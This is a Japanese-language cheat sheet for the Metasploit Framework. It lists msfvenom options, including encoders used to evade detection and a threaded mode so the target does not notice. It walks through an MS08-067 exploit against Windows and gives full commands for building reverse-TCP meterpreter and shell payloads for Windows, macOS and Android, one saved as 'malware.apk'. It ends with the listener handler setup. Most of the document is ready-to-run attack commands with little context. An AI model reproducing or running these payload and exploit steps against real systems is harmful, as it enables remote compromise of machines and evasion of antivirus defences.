Metasploit Frameworkは開発、エクスプロイト、攻撃の補助を目的として設計されたフレームワーク。

    ログ設定
    # echo "spool /root/msf_console.log" > /root/.msf5/msfconsole.rc
    //全てのログを/root/msf_console.logに書き込むように設定する

    PoCやペイロード
    /usr/share/metasploit-framework/module以下にある。
    自分でコードを書く場合は、rubyの知識が必要。
    
    コマンド
    msfpayload  ・・・  ペイロード作成ツール(コマンド)
    msfencode  ・・・  検知回避のためのエンコードツール(コマンド)
    msfvenom  ・・・  msfpayload + msfencode(コマンド)
    msfconsole  ・・・  Metasploit Frameworkの起動コマンド
    
    オプション
    --list  or  -l  ・・・  用意されているモジュールやペイロードを一覧表示
    --payload-options  ・・・  使用するペイロードを動かすために必要なオプションを表示
    --payload  or  -p  ・・・  使用するペイロードを指定
    --format  or  -f  ・・・  フォーマットの形式を指定。中身のわからないデータファイルになる
    --encoder  or  -e  ・・・  どのエンコーダーを使うか指定
    --iterations  or  -i  ・・・  ペイロードをエンコードする回数を指定
    --bad-chars  or  -b  ・・・  ペイロードに使用したくない文字を指定
    --template  or  -x  ・・・  ペイロードの埋め込み先ファイル
    --out  or  -o  ・・・  ペイロードを保存して新しいファイルを生成(「>」でも良い)
    lhost  ・・・  ローカルホスト(攻撃側ホスト)を指定
    lport  ・・・  ローカルポート(攻撃側で待ち受けるポート)を指定
    exitfunc=thread  or  -k  ・・・  ターゲットユーザに気づかれないように別スレッドで起動
    
    攻撃例:MS08-067(Windows Server サービスの脆弱性)
    # msfconsole
    # search ms08-067
    # use exploit/windows/smb/ms08_067_netapi
    # show options
    # set RHOST <脆弱なWindowsホストのIP>
    # set LHOST <ローカルIP>
    # set PAYLOAD windows/meterpreter/reverse_tcp
    # set ENCODER x86/shikata_ga_nai
    # exploit
    
    ペイロードについて
    metasploitにはauxiliaryやpostなど様々なモジュールが用意されているが下ではexploitモジュールを利用。
    そしてexploitモジュールにはpayloadモジュールが必要で、payloadモジュールには2つの接続タイプがある。
    その中で今回はコネクトバック型のreverse_tcpのペイロードを利用。
    もう1つのbind_tcpは攻撃がファイアウォールに遮られる可能性が高い。
        
    ペイロード作成例
    ・[Windows]
    # msfvenom
      --payload windows/meterpreter/reverse_tcp
      lhost=192.168.2.105
      lport=4444 
      exitfunc=thread
      --format exe
      -o shell.exe
    
    ・[OSX]
    # msfvenom
      --payload osx/x86/shell_reverse_tcp
      lhost=192.168.2.105
      lport=4444
      --encoder x86/shikata_ga_nai
      --iterations 5
      --format macho
      > shell.macho
    
    ・[Android]
    # msfvenom
      --payload android/meterpreter/reverse_tcp
      lhost=192.168.2.105
      lport=4444
      > malware.apk
    
    ・[1つのファイルで複数接続]
    ターゲットのポートの状態が判別できなかった場合に複数接続を試みるexeファイルの生成。rawでの受け渡しが二回続いていることに注意
    # msfvenom
      -p windows/meterpreter/reverse_tcp
      -f raw
      -e x86/shikata_ga_nai
      lhost=192.168.91.135
      lport=80
      exitfunc=thread
      > /tmp/msf.raw msfvenom
      -p windows/meterpreter/reverse_tcp
      -f raw
      -e x86/shikata_ga_nai
      lhost=192.168.91.135
      lport=443
      exitfunc=thread
      -c /tmp/msf.raw
      > /tmp/msf1.raw 
    
    # msfvenom
      -p windows/meterpreter/reverse_tcp
      -f exe
      -e x86/shikata_ga_nai
      lhost=192.168.91.135
      lport=21
      exitfunc=thread
      -c /tmp/msf1.raw
      > msf.exe
    
    ハンドラ側(エクスプロイト)
    上で使っているペイロードであれば全部次の設定で動くが
    今回は最初の例の[Windowsマシンへ]へのエクスプロイトを例に挙げる。
    # msfconsole
    msf > use exploit/multi/handler
    msf > set payload <上で指定したペイロード>
    msf > set lhost <上で指定したホスト>
    msf > set lport <上で指定したポート>
    msf > set ExitOnSession false    //コネクションが切れてもリッスン状態を続ける
    msf > exploit   //バックグラウンドで待ち受ける場合は「-j」を付ける
トップへ